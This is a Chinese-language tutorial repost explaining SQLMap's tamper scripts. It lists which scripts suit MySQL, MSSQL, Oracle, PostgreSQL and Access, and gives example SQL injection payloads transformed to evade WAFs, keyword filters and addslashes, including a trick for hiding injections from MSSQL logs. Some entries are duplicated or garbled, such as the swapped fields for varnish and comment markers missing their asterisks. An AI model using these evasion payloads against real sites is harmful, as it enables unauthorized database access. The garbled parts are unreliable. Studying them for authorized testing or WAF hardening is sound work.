(四)SQLMap之Tamper篡改腳本的類型、作用、適用場景


目錄結構

一、SQLMap中tamper的簡介
    1.tamper的作用
    2.tamper用法
二、適配不同數據庫類型的測試tamper
三、SQLMap中tamper篡改腳本的功能解釋

 

一、SQLMap中tamper的簡介

1.tamper的作用

使用SQLMap提供的tamper腳本,可在一定程度上避開應用程序的敏感字符過濾、繞過WAF規則的阻擋,繼而進行滲透攻擊。

部分防護系統的縮寫:

  • WAF:Web應用程序防火牆,Web Application Firewall
  • IPS:入侵防御系統, Intrusion Prevention System
  • IDS:入侵檢測系統,Intrusion Detection System

2.tamper用法

--tamper=TAMPER 利用給定的腳本進行篡改注入數據。其用法可舉例說明:
python sqlmap.py -u "http://.../?uname=admin&pwd=pass123" --level=5 --risk=3 -p "uname" --tamper=xxx.py
表示對指定的url地址,以所設置的level等級、risk等級,並采用選定的tamper篡改腳本對參數“uname”進行檢測

二、適配不同數據庫類型的測試tamper

當使用SQLMap篡改腳本執行滲透測試時,面對眾多tamper可能會比較困惑,一開始不曉得該使用哪些腳本來測試。有的腳本是適用於常用數據庫的SQL注入攻擊,有的適用於特定類型的數據庫,還有的適用於某種數據庫的特定版本范圍。為了相對明確的了解tamper的使用場景,把tamper的使用類型和范圍作一下划分,具體如下:

SQLMap目錄中的所有tamper script
tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

通用的測試tamper
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL(Microsoft SQL Servre)
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Oracle
tamper=between,charencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes,xforwardedfor

Microsoft Access
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

PostgreSQL
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,xforwardedfor

tamper適用的數據庫類型&版本
(*) 可能適用於所有版本
(-) 不適用

TAMPER MySQL MSSQL Oracle PostgreSQL
apostrophemask * * * *
apostrophenullencode - - - -
appendnullbyte * * * *
base64encode 4,5,5.5 2005 10g -
between 5.1 - - -
bluecoat * * * *
apostrophemask 9.0.3 20002005 - 9.3
charunicodeencode 4,5.0 and 5.5 2005 10g 8.3,8.4,9.0
charencode * - - -
commalessmid * - - -
concat2concatws * * * *
equaltolike * * * *
greatest < 5.1 - - -
halfversionedmorekeywords 5.0 and 5.5 - - -
ifnull2ifisnull * * * *
informationschemacomment 4,5.0,5.5 2005 10g 8.3,8.4,9.0
lowercase 5 - - -
modsecurityversioned 5 - - -
modsecurityzeroversioned * * * *
multiplespaces * * * *
nonrecursivereplacement * * * *
overlongutf8 5.1.56,5.5.11 2000, 2005 N/A 9
percentage 4, 5.0,5.5 2005 10g 8.3,8.4,9.0
randomcase * * * *
randomcomments * * * *
securesphere 4,5.0,5.5 2005 10g 8.3,8.4,9.0
space2comment - - - -
space2dash 4.0,5.0 - - -
space2hash >= 5.1.13 - - -
space2morehash - 2000, 2005 - -
space2mssqlblank * * - -
space2mssqlhash * * * *
space2plus 4,5.0,5.5 2005 10g 8.3,8.4,9.0
space2randomblank - * - -
sp_password * * * *
symboliclogical * * * *
unionalltounion * * * *
unmagicquotes 4, 5.0,5.5 2005 10g 8.3,8.4,9.0
uppercase * * * *
varnish * - - -
versionedkeywords >=5.1.13 - - -
versionedmorekeywords * * * *
xforwardedfor * * * *

 

三、SQLMap中tamper篡改腳本的功能解釋

apostrophemask.py

功能:對引號進行utf-8格式編碼(%EF%BC%87)
平台:All
舉例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

apostrophenullencode.py

功能:用非法的雙unicode字符(%00%27)替換引號字符
平台:All
舉例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271

appendnullbyte.py

功能:在有效載荷結束位置加載零字節字符編碼
平台:Microsoft Access
舉例:1 AND 1=1 ==> 1 AND 1=1%00

base64encode.py

功能:用base64格式進行編碼
平台:All
舉例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==

between.py

功能:用between替換大於號(>)
平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0
舉例:
1 AND A > B --  ==> 1 AND A NOT BETWEEN 0 AND B  --
1 AND A = B --  ==> 1 AND A BETWEEN B AND B --

bluecoat.py

功能:對SQL語句替換空格字符為(%09),並替換"="--->"LIKE"
平台:MySQL 5.1, SGOS
舉例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1

apostrophemask.py

功能:用utf-8格式編碼引號(如:%EF%BC%87)
平台:All
舉例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

charunicodeencode.py

功能:對字符串進行Unicode格式轉義編碼
平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
舉例:SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

charencode.py

功能:采用url格式編碼1次
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

chardoubleencode.py

功能:采用url格式編碼2次
平台:All
舉例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

commalessmid.py

功能:將payload中的逗號用 from和for代替,用於過濾了逗號並且是3個參數的情況
平台:MySQL 5.0, 5.5
舉例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)

concat2concatws.py

功能:CONCAT() ==> CONCAT_WS(),用於過濾了CONCAT()函數的情況
平台: MySQL 5.0
舉例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)

equaltolike.py

功能:= ==> LIKE,用於過濾了等號"="的情況
平台:Mssql 2005、MySQL 4, 5.0 and 5.5
舉例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1

greatest.py

功能:> ==> GREATEST
平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=A
a和b+1比較,取兩者中的最大值為a;則a >= b+1,亦即a > b

halfversionedmorekeywords.py

功能:空格 ==> /*!0 (在關鍵字前添加注釋)
平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)
舉例:union ==> /*!0union

ifnull2ifisnull.py

功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)
平台:MySQL 5.0 and 5.5
舉例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)

informationschemacomment.py

功能:
在 information_schema 后面加上 /**/ ,用於繞過對 information_schema 的情況
retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)
平台:All
舉例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables

lowercase.py

功能:將 payload 里的大寫轉為小寫
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables

modsecurityversioned.py

功能:用注釋來包圍完整的查詢語句,用於繞過 ModSecurity 開源 waf
平台:MySQL 5.0
舉例:1 AND 2>1--  ==> 1 /*!30874AND 2>1*/--

modsecurityzeroversioned.py

功能:用注釋來包圍完整的查詢語句,用於繞過 waf ,和上面類似
平台:Mysql
舉例:1 and 2>1--+ ==> 1 /!00000and 2>1/--+

multiplespaces.py

功能:圍繞SQL關鍵字添加多個空格
平台:All
舉例:1 UNION SELECT foobar ==> 1   UNION   SELECT   foobar

nonrecursivereplacement.py

功能:關鍵字雙寫,可用於關鍵字過濾
平台:All
舉例:1 UNION SELECT 2--  ==> 1 UNIONUNION SELESELECTCT 2--

overlongutf8.py

功能: 轉換給定的payload當中的所有字符
平台:All
舉例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1

percentage.py

功能:用百分號來繞過關鍵字過濾,在關鍵字的每個字母前面都加一個(%)
平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
舉例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

randomcase.py

功能:將 payload 隨機大小寫
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:INSERT ==> InseRt

randomcomments.py

功能:在 payload 的關鍵字中間隨機插入注釋符 /**/ ,可用於繞過關鍵字過濾
平台:Mysql
舉例:INSERT ==> I / ** / N / ** / SERT

securesphere.py

功能:在payload后追加特殊構造的字符串
平台:All
舉例:1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'

space2comment.py

功能:用注釋符 // 代替空格,用於空格的繞過
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:SELECT id FROM users ==> SELECT//id//FROM//users

space2dash.py

功能:用[注釋符(--)+一個隨機字符串+一個換行符]替換控制符
平台:MSSQL、 SQLite
舉例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

space2hash.py

功能:用[注釋符(#)+一個隨機字符串+一個換行符]替換控制符
平台:Mysql
舉例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

space2morehash.py

功能:用多個[注釋符(#)+一個隨機字符串+一個換行符]替換控制符
平台:MySQL >= 5.1.13
舉例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

space2mssqlblank.py

功能:用隨機的空白符替換payload中的空格
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
平台:Mssql 2000,2005
舉例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users

space2mssqlhash.py

功能:用[字符# +一個換行符]替換payload中的空格
平台:MSSQL、MySQL
舉例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+

space2plus.py

功能:用加號(+)替換空格
平台:All
舉例:SELECT id FROM users ==> SELECT+id+FROM+users

space2randomblank.py

功能:用隨機的空白符替換payload中的空格
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers

sp_password.py

功能:在payload語句后添加 sp_password ,用於迷惑數據庫日志(Space ==> sp_password)
平台:Mssql
舉例:1 AND 9227=9227--  ==> 1 AND 9227=9227 -- sp_password

symboliclogical.py

功能:用 && 替換 and ,用 || 替換 or ,用於這些關鍵字被過濾的情況
平台:All
舉例:
1 and 1=1 ==> 1 %26%26 1=1
1 or 1=1 ==> 1 %7c%7c 1=1

unionalltounion.py

功能:用 union select 替換union all select
平台:All
舉例:union all select 1,2--+ ==> union select 1,2--+

unmagicquotes.py

功能:用寬字符繞過 GPC addslashes
平台:All
舉例:1' and 1=1 ==> 1%df%27 and 1=1--

uppercase.py

功能:將payload中的小寫字母轉為大寫格式
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
舉例:insert ==> INSERT

varnish.py

功能:添加一個HTTP頭“ X-originating-IP ”來繞過WAF
平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
舉例:All

versionedkeywords.py

功能:對非函數的關鍵字進行注釋
平台:MySQL 4.0.18, 5.1.56, 5.5.11
舉例:1 union select user() ==> 1/!UNION//!SELECT/user()

versionedmorekeywords.py

功能:對每個關鍵字進行注釋處理
平台:MySQL 5.1.56, 5.5.11
舉例:1 union select user() ==> 1/!UNION//!SELECT/user()

xforwardedfor.py

功能:添加一個偽造的HTTP頭“ X-Forwarded-For ”來繞過WAF
平台:All
舉例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload


參考來源:
[1]SQLMap Tamper Scripts (SQL Injection and WAF bypass) Tips
[2]sqlmap的tamper詳解
[3]sqlmap-tamper-scripts sqlmap tamper 詳解
[4]Use SQLMAP To Bypass Cloudflare WAF And Hack Website With SQL Injection
[5]Understanding "tamper" option in Sqlmap (II)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM